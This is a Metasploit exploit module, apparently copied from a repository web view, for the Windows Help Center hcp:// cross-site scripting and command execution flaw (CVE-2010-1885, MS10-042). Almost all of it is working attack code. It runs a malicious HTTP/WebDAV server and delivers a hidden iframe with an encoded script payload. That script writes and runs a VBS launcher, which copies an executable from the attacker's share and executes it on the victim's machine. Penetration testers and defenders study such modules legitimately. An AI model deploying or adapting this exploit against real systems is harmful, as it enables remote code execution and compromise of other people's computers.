root / modules / exploits / windows / browser / ms10_042_helpctr_xss_cmd_exec.rb @ master
History | View | Annotate | Download (10.9 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
#
|
| 18 |
# This module acts as an HTTP server
|
| 19 |
#
|
| 20 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 21 |
include Msf::Exploit::EXE |
| 22 |
|
| 23 |
def initialize(info = {}) |
| 24 |
super(update_info(info,
|
| 25 |
'Name' => 'Microsoft Help Center XSS and Command Execution', |
| 26 |
'Description' => %q{ |
| 27 |
Help and Support Center is the default application provided to access online |
| 28 |
documentation for Microsoft Windows. Microsoft supports accessing help documents |
| 29 |
directly via URLs by installing a protocol handler for the scheme "hcp". Due to |
| 30 |
an error in validation of input to hcp:// combined with a local cross site |
| 31 |
scripting vulnerability and a specialized mechanism to launch the XSS trigger, |
| 32 |
arbitrary command execution can be achieved. |
| 33 |
|
| 34 |
On IE7 on XP SP2 or SP3, code execution is automatic. If WMP9 is installed, it |
| 35 |
can be used to launch the exploit automatically. If IE8 and WMP11, either can |
| 36 |
be used to launch the attack, but both pop dialog boxes asking the user if |
| 37 |
execution should continue. This exploit detects if non-intrusive mechanisms are |
| 38 |
available and will use one if possible. In the case of both IE8 and WMP11, the |
| 39 |
exploit defaults to using an iframe on IE8, but is configurable by setting the |
| 40 |
DIALOGMECH option to "none" or "player". |
| 41 |
},
|
| 42 |
'Author' =>
|
| 43 |
[ |
| 44 |
'Tavis Ormandy', # Original discovery |
| 45 |
'natron' # Metasploit version |
| 46 |
], |
| 47 |
'License' => MSF_LICENSE, |
| 48 |
'Version' => '$Revision$', |
| 49 |
'References' =>
|
| 50 |
[ |
| 51 |
[ 'CVE', '2010-1885' ], |
| 52 |
[ 'OSVDB', '65264' ], |
| 53 |
[ 'URL', 'http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/ADVISORY' ], |
| 54 |
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2219475.mspx' ], |
| 55 |
[ 'MSB', 'MS10-042'] |
| 56 |
], |
| 57 |
'DefaultOptions' =>
|
| 58 |
{
|
| 59 |
'EXITFUNC' => 'process', |
| 60 |
}, |
| 61 |
'Payload' =>
|
| 62 |
{
|
| 63 |
'Space' => 2048, |
| 64 |
}, |
| 65 |
'Platform' => 'win', |
| 66 |
'Targets' =>
|
| 67 |
[ |
| 68 |
[ 'Automatic', { } ]
|
| 69 |
], |
| 70 |
'DisclosureDate' => 'Jun 09 2010', |
| 71 |
'DefaultTarget' => 0)) |
| 72 |
|
| 73 |
register_options( |
| 74 |
[ |
| 75 |
OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on", 80 ]), |
| 76 |
OptString.new( 'URIPATH', [ true, "The URI to use.", "/" ]), |
| 77 |
OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"]) |
| 78 |
], self.class)
|
| 79 |
|
| 80 |
deregister_options('SSL', 'SSLVersion') # Just for now |
| 81 |
end
|
| 82 |
|
| 83 |
def on_request_uri(cli, request) |
| 84 |
|
| 85 |
# If there is no subdirectory in the request, we need to redirect.
|
| 86 |
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//) |
| 87 |
if (request.uri == '/') |
| 88 |
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/' |
| 89 |
else
|
| 90 |
subdir = request.uri + '/'
|
| 91 |
end
|
| 92 |
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
|
| 93 |
send_redirect(cli, subdir) |
| 94 |
return
|
| 95 |
end
|
| 96 |
|
| 97 |
|
| 98 |
case request.method
|
| 99 |
when 'OPTIONS' |
| 100 |
process_options(cli, request) |
| 101 |
when 'PROPFIND' |
| 102 |
process_propfind(cli, request) |
| 103 |
when 'GET' |
| 104 |
process_get(cli, request) |
| 105 |
else
|
| 106 |
print_error("Unexpected request method encountered: #{request.method}")
|
| 107 |
end
|
| 108 |
|
| 109 |
end
|
| 110 |
|
| 111 |
def process_get(cli, request) |
| 112 |
|
| 113 |
@my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 114 |
webdav_loc = "\\\\#{@my_host}\\#{@random_dir}\\#{@payload}"
|
| 115 |
@url_base = "http://" + @my_host |
| 116 |
|
| 117 |
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(request.uri)) |
| 118 |
print_status "Sending payload executable to target ..."
|
| 119 |
return if ((p = regenerate_payload(cli)) == nil) |
| 120 |
data = generate_payload_exe({ :code => p.encoded })
|
| 121 |
|
| 122 |
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
| 123 |
return
|
| 124 |
end
|
| 125 |
|
| 126 |
if request.uri.match(/\.gif$/) |
| 127 |
# "world's smallest gif"
|
| 128 |
data = "GIF89a\x01\x00\x01\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00!\xF9\x04\x01"
|
| 129 |
data += "\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
|
| 130 |
print_status "Sending gif image to WMP"
|
| 131 |
send_response(cli, data, { 'Content-TYpe' => 'image/gif' } )
|
| 132 |
end
|
| 133 |
|
| 134 |
# ASX Request Inbound
|
| 135 |
if request.uri.match(/\.asx$/) |
| 136 |
asx = %Q|<ASX VERSION="3.0">
|
| 137 |
<PARAM name="HTMLView" value="URLBASE/STARTHELP"/> |
| 138 |
<ENTRY> |
| 139 |
<REF href="URLBASE/IMGFILE"/> |
| 140 |
</ENTRY> |
| 141 |
</ASX> |
| 142 |
|
|
| 143 |
asx.gsub!(/URLBASE/, @url_base) |
| 144 |
asx.gsub!(/STARTHELP/, @random_dir + "/" + @start_help) |
| 145 |
asx.gsub!(/IMGFILE/, @random_dir + "/" + @img_file) |
| 146 |
print_status("Sending asx file")
|
| 147 |
send_response(cli, asx, { 'Content-Type' => 'text/html' })
|
| 148 |
return
|
| 149 |
end
|
| 150 |
|
| 151 |
# iframe request inbound from either WMP or IE7
|
| 152 |
if request.uri.match(/#{@start_help}/) |
| 153 |
|
| 154 |
help_html = <<-EOS |
| 155 |
<iframe src="hcp://services/search?query=a&topic=hcp://system/sysinfo/sysinfomain.htm%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF%uFFFF..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27COMMANDS%27%29%29%3C/script%3E">
|
| 156 |
EOS |
| 157 |
|
| 158 |
rand_vbs = rand_text_alpha(rand(2)+1) + ".vbs" |
| 159 |
copy_launch = %Q^cmd /c copy #{webdav_loc} %TEMP% && %TEMP%\\#{@payload}^
|
| 160 |
vbs_content = %Q|WScript.CreateObject("WScript.Shell").Run "#{copy_launch}",0,false|
|
| 161 |
write_vbs = %Q|cmd /c echo #{vbs_content}>%TEMP%\\#{rand_vbs}|
|
| 162 |
launch_vbs = %Q|cscript %TEMP%\\#{rand_vbs}>nul|
|
| 163 |
concat_cmds = "#{write_vbs}|#{launch_vbs}"
|
| 164 |
|
| 165 |
eval_block = "Run(String.fromCharCode(#{convert_to_char_code(concat_cmds)}));"
|
| 166 |
eval_block = Rex::Text.uri_encode(Rex::Text.uri_encode(eval_block)) |
| 167 |
help_html.gsub!(/COMMANDS/, eval_block)
|
| 168 |
print_status("Sending exploit trigger")
|
| 169 |
send_response(cli, help_html, { 'Content-Type' => 'text/html' })
|
| 170 |
return
|
| 171 |
end
|
| 172 |
|
| 173 |
# default initial response
|
| 174 |
js = %Q|
|
| 175 |
var asx = "URLBASE/ASXFILE"; |
| 176 |
var ifr = "URLBASE/IFRFILE"; |
| 177 |
|
| 178 |
function launchiframe(src) {
|
| 179 |
var o = document.createElement("IFRAME");
|
| 180 |
o.setAttribute("width","0");
|
| 181 |
o.setAttribute("height","0");
|
| 182 |
o.setAttribute("frameborder","0");
|
| 183 |
o.setAttribute("src",src);
|
| 184 |
document.body.appendChild(o); |
| 185 |
} |
| 186 |
|
| 187 |
if (window.navigator.appName == "Microsoft Internet Explorer") {
|
| 188 |
var ua = window.navigator.userAgent; |
| 189 |
var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
|
| 190 |
re.exec(ua) |
| 191 |
ver = parseFloat( RegExp.$1 ); |
| 192 |
|
| 193 |
// if ie8, check WMP version |
| 194 |
if (ver > 7) {
|
| 195 |
var o = document.createElement("OBJECT");
|
| 196 |
o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
|
| 197 |
o.setAttribute("uiMode", "invisible");
|
| 198 |
// if wmp9, go ahead and launch |
| 199 |
if( parseInt(o.versionInfo) < 10 ) {
|
| 200 |
o.openPlayer(asx); |
| 201 |
// if > wmp9, only launch if user requests |
| 202 |
} else {
|
| 203 |
DIALOGMECH |
| 204 |
} |
| 205 |
// if ie7, use iframe |
| 206 |
} else {
|
| 207 |
launchiframe(ifr); |
| 208 |
} |
| 209 |
} else {
|
| 210 |
// if other, try iframe |
| 211 |
launchiframe(ifr); |
| 212 |
} |
| 213 |
|
|
| 214 |
|
| 215 |
html = %Q|<html>
|
| 216 |
<head></head><body><script>JAVASCRIPTFU |
| 217 |
</script> |
| 218 |
</body> |
| 219 |
</html> |
| 220 |
|
|
| 221 |
case datastore['DIALOGMECH'] |
| 222 |
when "player" |
| 223 |
mech = "o.openPlayer(asx);"
|
| 224 |
when "iframe" |
| 225 |
mech = "launchiframe(ifr);"
|
| 226 |
when "none" |
| 227 |
mech = ""
|
| 228 |
else
|
| 229 |
mech = ""
|
| 230 |
end
|
| 231 |
|
| 232 |
html.gsub!(/JAVASCRIPTFU/, js)
|
| 233 |
html.gsub!(/DIALOGMECH/, mech)
|
| 234 |
html.gsub!(/URLBASE/, @url_base) |
| 235 |
html.gsub!(/ASXFILE/, @random_dir + "/" + @asx_file) |
| 236 |
html.gsub!(/IFRFILE/, @random_dir + "/" + @start_help) |
| 237 |
|
| 238 |
print_status("Sending #{self.name}")
|
| 239 |
|
| 240 |
headers = {
|
| 241 |
'Content-Type' => 'text/html', |
| 242 |
#'X-UA-Compatible' => 'IE=7'
|
| 243 |
} |
| 244 |
|
| 245 |
send_response(cli, html, headers) |
| 246 |
end
|
| 247 |
|
| 248 |
#
|
| 249 |
# OPTIONS requests sent by the WebDav Mini-Redirector
|
| 250 |
#
|
| 251 |
def process_options(cli, request) |
| 252 |
print_status("Responding to WebDAV OPTIONS request")
|
| 253 |
headers = {
|
| 254 |
#'DASL' => '<DAV:sql>',
|
| 255 |
#'DAV' => '1, 2',
|
| 256 |
'Allow' => 'OPTIONS, GET, PROPFIND', |
| 257 |
'Public' => 'OPTIONS, GET, PROPFIND' |
| 258 |
} |
| 259 |
send_response(cli, '', headers)
|
| 260 |
end
|
| 261 |
|
| 262 |
def convert_to_char_code(str) |
| 263 |
return str.unpack('H*')[0].gsub(Regexp.new(".{#{2}}", nil, 'n')) { |s| s.hex.to_s + "," }.chop |
| 264 |
end
|
| 265 |
#
|
| 266 |
# PROPFIND requests sent by the WebDav Mini-Redirector
|
| 267 |
#
|
| 268 |
def process_propfind(cli, request) |
| 269 |
path = request.uri |
| 270 |
print_status("Received WebDAV PROPFIND request")
|
| 271 |
body = ''
|
| 272 |
|
| 273 |
if (Regexp.new(Regexp.escape(@payload)+'$', true).match(path)) |
| 274 |
# Response for the EXE
|
| 275 |
print_status("Sending EXE multistatus for #{path} ...")
|
| 276 |
#<lp1:getcontentlength>45056</lp1:getcontentlength>
|
| 277 |
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
| 278 |
<D:multistatus xmlns:D="DAV:"> |
| 279 |
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 280 |
<D:href>#{path}</D:href> |
| 281 |
<D:propstat> |
| 282 |
<D:prop> |
| 283 |
<lp1:resourcetype/> |
| 284 |
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> |
| 285 |
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> |
| 286 |
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag> |
| 287 |
<lp2:executable>F</lp2:executable> |
| 288 |
<D:lockdiscovery/> |
| 289 |
<D:getcontenttype>application/octet-stream</D:getcontenttype> |
| 290 |
</D:prop> |
| 291 |
<D:status>HTTP/1.1 200 OK</D:status> |
| 292 |
</D:propstat> |
| 293 |
</D:response> |
| 294 |
</D:multistatus> |
| 295 |
|
|
| 296 |
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) |
| 297 |
print_status("Sending 404 for #{path} ...")
|
| 298 |
send_not_found(cli) |
| 299 |
return
|
| 300 |
|
| 301 |
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) |
| 302 |
# Response for anything else (generally just /)
|
| 303 |
print_status("Sending directory multistatus for #{path} ...")
|
| 304 |
body = %Q|<?xml version="1.0" encoding="utf-8"?>
|
| 305 |
<D:multistatus xmlns:D="DAV:"> |
| 306 |
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 307 |
<D:href>#{path}</D:href> |
| 308 |
<D:propstat> |
| 309 |
<D:prop> |
| 310 |
<lp1:resourcetype><D:collection/></lp1:resourcetype> |
| 311 |
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> |
| 312 |
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> |
| 313 |
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> |
| 314 |
<D:lockdiscovery/> |
| 315 |
<D:getcontenttype>httpd/unix-directory</D:getcontenttype> |
| 316 |
</D:prop> |
| 317 |
<D:status>HTTP/1.1 200 OK</D:status> |
| 318 |
</D:propstat> |
| 319 |
</D:response> |
| 320 |
</D:multistatus> |
| 321 |
|
|
| 322 |
|
| 323 |
else
|
| 324 |
print_status("Sending 404 for #{path} ...")
|
| 325 |
send_not_found(cli) |
| 326 |
return
|
| 327 |
end
|
| 328 |
|
| 329 |
# send the response
|
| 330 |
resp = create_response(207, "Multi-Status") |
| 331 |
resp.body = body |
| 332 |
resp['Content-Type'] = 'text/xml' |
| 333 |
cli.send_response(resp) |
| 334 |
end
|
| 335 |
|
| 336 |
def exploit |
| 337 |
@random_dir = rand_text_alpha(rand(2)+1) |
| 338 |
@asx_file = rand_text_alpha(rand(2)+1) + ".asx" |
| 339 |
@start_help = rand_text_alpha(rand(2)+1) + ".html" |
| 340 |
@payload = rand_text_alpha(rand(2)+1) + ".exe" |
| 341 |
@img_file = rand_text_alpha(rand(2)+1) + ".gif" |
| 342 |
|
| 343 |
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' |
| 344 |
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' |
| 345 |
end
|
| 346 |
|
| 347 |
super
|
| 348 |
end
|
| 349 |
end
|